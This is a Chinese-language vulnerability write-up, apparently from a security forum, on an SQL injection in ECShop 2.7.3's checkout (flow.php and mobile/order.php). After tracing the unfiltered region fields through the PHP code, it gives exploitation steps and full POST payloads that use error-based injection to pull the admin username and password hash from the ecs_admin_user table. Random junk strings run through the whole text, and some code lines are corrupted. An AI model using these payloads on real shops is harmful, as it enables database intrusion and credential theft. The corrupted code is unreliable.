前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
' z. e( J$ ?, T3 v
4 {3 N* S+ Q5 J! X% ]: h 漏洞关键文件:
" w" X7 o( n$ t
- O0 S, A4 U' [; Z /includes/lib_order.php1 m# A2 g8 Z# H% A* D
, [5 j1 y7 N p* z5 k i# {
关键函数:
" t7 N6 f6 c4 K: N( i8 ?3 n) B0 S
1 D6 q' b, o U! M& y7 e
: z5 D' N; [8 V, H6 ?01 function available_shipping_list($region_id_list) & I, x8 g' S2 q9 u5 Y& y8 E, d
+ T8 q4 F; H( F02 { # h: B' J! y2 u0 o
! Z9 }* {- ^+ b! @9 D" r3 v/ Z03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 1 Z* X3 Q% w; p! t: y
9 w0 X' V1 Q4 k) g: R04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
k [9 J5 w7 d0 Z$ H7 E; I, N5 \
! L1 ^# d% t8 F! W05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . % q$ f+ `' P% y, t$ K
1 D8 W7 [0 D& P( ?# | S& p) g
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . $ K) l% p$ A( X0 |
! o/ G* f+ E1 i3 x; S; j
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. ( y. D# K3 R2 B/ J
! t) k; {5 r9 B# H6 p08 'WHERE r.region_id ' . db_create_in($region_id_list) . ( l. Z# ~" Z0 E9 y3 r2 e
5 q3 F+ [: t' {/ z2 Z
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; ' f {. ~9 f$ T$ U3 Q! I( Q2 G
5 J9 _; Z) f) I H6 J6 c10
6 o$ R v+ J' [# n; B {# l
' S) x3 @! V* }1 s& P. C11 return $GLOBALS['db']->getAll($sql); % L* _% p( ~3 p* N" b j$ M
" s2 c, J& t' m( F# F+ q
12 } 9 j5 d3 t9 i @( G- r9 z( ] @8 k
U/ b9 g9 P& R" b/ Q显然对传入的参数没有任何过滤就带入了查询语句。
& O% R) J' }: O) P1 J" { + p. M% ?& Q" J7 F
下面我们追踪这个函数在flow.php中:- A) a/ X+ w9 {- ^. K' j" P
第531行: ' d5 t+ O3 d, @1 a/ a5 r* Z3 j. a
6 n8 ]+ n0 K8 V# X9 ?+ D& z- d! V1 $shipping_list = available_shipping_list($region);
$ ]: j3 V4 }/ {! c/ R! A2 b; I7 E$ a! r
$ i( |& w; g6 E" ~* y% i( ~' l) \( B9 C- W
% }) J- d- ?: [( ]5 G: X! M
$ K* Y) F$ Y* U( P: H
再对传入变量进行追踪:
( _. m2 A i/ L' v
, i1 G+ |; X" A O$ l第530行: 4 q/ M2 ~: l/ i# B5 h4 w$ {
$ P `7 n( H9 [" [8 p1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
- T1 ? o1 R9 }2 j- k
/ W- ~ b1 |$ f5 H1 x7 ? ) k* q( J8 T' S6 s8 J' p
# r3 P. M, l( T: n
- h# |6 z- X3 O- g' J6 V2 E6 O3 d* S3 [5 y( ^3 q% p
第473行: & ~# Y% J7 y: \5 x
& }; M: K. w2 K5 D1 $consignee = get_consignee($_SESSION['user_id']); 5 s$ p9 @- F$ L G
8 |5 f( T( Z; E3 F4 d
到了一个关键函数:0 `$ E3 f. f# x9 g! \' b' }
/ I# c1 }, k& |# A2 F" z& L6 p. h/includes/lib_order.php
* P; p: M6 O+ W0 P8 I& l8 k$ I9 M- o2 `3 H9 _% v. A0 J4 @& u. w. k
$ T6 [- E2 Z8 B* o% N
! t ^, f7 N& ?. Y" ^
+ l% P. Z2 B( X- _/ V; v! t8 v& w. v8 a8 C$ e A
01 function get_consignee($user_id) # a$ N& H. {4 |
# A3 ^3 `6 T$ D. g
02 { % f: E/ J" D. F, g( F' Q
( Z* f9 V) k; x+ T2 n& v0 |# T
03 if (isset($_SESSION['flow_consignee']))
( C: x- u; k& ]# C+ M$ U z: q" V3 S: ?- n5 ^" q
04 { % H( X1 ]" L( E4 R/ Q2 k
. L4 K( [6 L& n& }) y+ J) [$ w05 /* 如果存在session,则直接返回session中的收货人信息 */ , ]- [3 }$ `/ W+ [' x7 R/ V; \7 B
3 E2 l/ R% r. X$ }; F
06
5 a H* p s/ o! Y) h! x
9 [1 u) b) W) N* U; |* l% F4 n07 return $_SESSION['flow_consignee'];
* {! z5 d5 ~9 V) |' S) R5 S! [/ Z# c8 E o9 \7 H
08 }
' J: k& h, F) r) t# E
7 O: g) A7 Z" r: k% q09 else E' }2 L% b \4 H% c" a9 E
+ |1 d. X; U" n* ?, r/ x8 z
10 {
7 Z/ {! Z; e( f$ h" m0 a X( E1 ]* J$ g% ]. M9 h% L
11 /* 如果不存在,则取得用户的默认收货人信息 */ # X9 q( d4 ?9 V, G
8 G+ [' C, I1 [' q$ m! ?
12 $arr = array(); 6 B. O6 r4 l9 Y( G) G& \+ _
- F. d9 c2 K" o8 C7 ^
13
( C1 W& [- \ ]6 B4 \% e
+ S' W: P4 V: d% ], D14 if ($user_id > 0)
' s, S3 d# v- r s6 g* c! d
5 Z8 ~8 A/ Z4 o6 m: S7 ^15 {
. |0 _* A! E- J" |! |3 \4 E$ [& e
" c; |7 ]3 H$ t8 w8 e- X# ?16 /* 取默认地址 */
0 ]- W1 I7 u) x% k# w6 w# b- \$ _1 @0 v: g
17 $sql = "SELECT ua.*".
! D' A: K, |3 H2 S) E- e
. c8 o7 p) [* a) `* q. o0 i. \; }( L18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
3 J- d: p( h2 D+ A" T* ?! j
1 _: b2 Y8 e. t0 U2 v) U19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
; T+ t# n0 ]$ r; V4 l; i! R. B% l1 p5 O% C, N* P% H7 q
20 ) T- |: i& b" r" ^, T- o5 \- N, O
: {7 N$ m: v! R+ G# o1 q; A21 $arr = $GLOBALS['db']->getRow($sql); ; A0 y( U. A7 n7 E! T
: Y0 s# f, ~% A [& l8 Y9 b22 } 1 n* I- _0 Z4 n
# a/ B! [( x! t& S4 w/ J23 3 M3 w: s/ A' M# P
# m) X8 R& ~7 b) Y24 return $arr;
) D0 u, W/ E; i. H
: x+ ]! G7 x+ n( Z+ m% t25 } 0 w& l. p7 O& z( Q# t* ~9 [
+ ]) ]. c- S; G7 m26 } M4 f- o# R) Z$ N& b1 o& h; b) @
. U0 p5 i! Z% [! K
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
3 T* _2 L; G+ d) t
1 F7 P9 F, ~, G+ Q7 t5 i5 H 8 y- e0 o1 V. t2 U9 a
" X, O9 P& M1 g2 y/ |0 {3 c- M
关键点:
2 Z: Q6 V8 G+ V* O# A/ U1 X/ e
7 T" m( Y( I% `0 @( L; q& d第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);* G. f. y& A: D
, w- X/ F3 v$ Q5 i$ }$ [. o这里对传入参数反转义存入$_SESSION中。8 Q/ Q, s( }4 H* J4 T% [7 ]
- m7 R0 b0 V; s- O. f
2 `; p: L( T8 O0 B( G! B
' F8 c4 i: R$ i6 G3 s然后看下:
# g+ a, J$ @2 S _; c1 h: f0 e- h' [0 {
) E% \7 T6 ^0 U$ ^0 B5 Q- {6 g( y
: {+ k8 s' S: m. k
5 ~' Y! ?1 n; S; [$ y0 V" V! `01 $consignee = array(
: ]3 v8 S7 M* J
- k- S8 y0 z% a5 v1 D0 `02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
# u, Z" b' ~* R; {# l$ i" E5 Z3 p" G. H s% N4 S
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), * G2 k6 p! g# j$ U! F' I
- i! a! o5 F7 {- `04 'country' => empty($_POST['country']) ? '' _POST['country'],
. F" @5 i4 f5 [
0 h1 @8 j7 Y3 x6 U$ s2 }8 s! U+ J! C05 'province' => empty($_POST['province']) ? '' _POST['province'],
3 _: d& I* A H& f$ q7 C$ g3 p; \0 S- X3 v% Y
06 'city' => empty($_POST['city']) ? '' _POST['city'],
: Q: J9 R8 J7 e0 J! s l# ]) [& V. a
07 'district' => empty($_POST['district']) ? '' _POST['district'], . A1 J4 M# }1 M. c' l
* y3 f8 Q' q! \08 'email' => empty($_POST['email']) ? '' _POST['email'], ! j( B: B8 S; O
4 U$ \+ J9 s5 n" Q5 l09 'address' => empty($_POST['address']) ? '' _POST['address'],
1 |( k7 ~6 l% H9 L
5 z6 e3 _5 _- C- B8 m& n. a: ^10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), & B" |2 y+ b4 U+ k$ ^6 m: F" K
2 V- x" e3 N. l! t11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
9 x. D0 n) S; u, D: C$ X$ p+ c& W% x
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
! ~' k) K7 ?9 k9 l. x+ y- p
1 V2 }3 B z( L8 w13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], . s5 u$ k! G+ I. b6 L5 R
; l5 E; t/ @# \8 P* \
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
6 m- _. j- G: \) P u1 }2 q5 }2 D/ B# n' Y
15 ); " ? V* T) p0 m2 p# V" u/ n, m# S9 ~
. Y9 s+ `. i# D好了注入就这样出现了。4 O( p* Y' K7 s2 E
1 P* g; k4 K, t9 @
==================0 w0 g7 \, E8 Y k% O
$ o0 O* n. z! [6 A+ C5 F注入测试:4 ~$ @8 q/ _) e' }
" L7 y3 [6 \3 F1 d' ~8 P
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
' N7 I. s! ~2 V
+ @5 Z6 h# m) } ?, m" c测试程序:ECShop_V2.7.3_UTF8_release1106' Y' m; n% Y, H5 c8 E* m @
' f/ p5 T$ x4 \# a4 s
) N3 E( m+ ] [: R' |' x5 o' B; s. `9 H- K& V6 ]
1.首先需要点击一个商品加入购物车1 b0 g+ U5 V, @( h
2 G7 L3 {, {. z
2.注册一个会员帐号
: |- C; ?4 }! B$ ^! n% ?; L- K5 p$ e1 t9 y3 X$ n9 `
3.post提交数据. e, T( t# G0 i; F8 Z. r
1 r9 Y( ^ z+ p S( ^+ e! I / ?$ E8 w! {2 m' k t: B0 D
" t- E( i0 G' o0 h0 S; s1 http://127.0.0.1/ecshop/flow.php
( a6 Y$ _: B% b' q& g$ G( A k$ b$ X8 S* G, x. L
2
2 U6 W7 ?% q" M2 ~& e
2 @% a. I( {8 v1 m2 K. Z" W( p. C3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= - m. c9 l0 A8 D4 Y0 w8 r. h
举一反三,我们根据这个漏洞我们可以继续深入挖掘:! r( i& O' U' F. A$ G9 l
7 Q, {9 [( u% j4 c' _
我们搜寻关键函数function available_shipping_list(); }6 _0 u+ z. P2 u
1 y& k8 Q, Y! |( M- `6 }& \在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
# ]9 f, t9 f. B6 l. \8 X! [' A! A8 {2 Q+ W+ [
利用exp:
) \/ P5 e2 Z3 r, o6 {' F5 V8 y9 O1 Y$ ?0 `: v) T6 r# [) F
1.点击一个商品,点击购买商标
2 D, `) }7 c3 k
. R# j0 B4 t$ {; E. J5 x2.登录会员帐号" x! @# i: S# k. l1 J; f. g( w
/ ^! W! U! B* q) D# u/ M- j& x1 @3.post提交:
2 `$ }! ]; G4 j+ O3 H O% x: c6 t4 @% K; P$ D2 S/ Q4 C: o, \
http://127.0.0.1/ecshop/mobile/order.php
+ J3 t' K# l6 N% P+ d6 v, a! c" G9 E8 G: ^! O" M5 ~
# m6 [4 R3 k# \ s' N- ]1 c
. a2 }- l% |$ |5 N& p* f5 R8 z
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
; l' |* K. N" H3 X) `& _& w. g4 L! m. O
|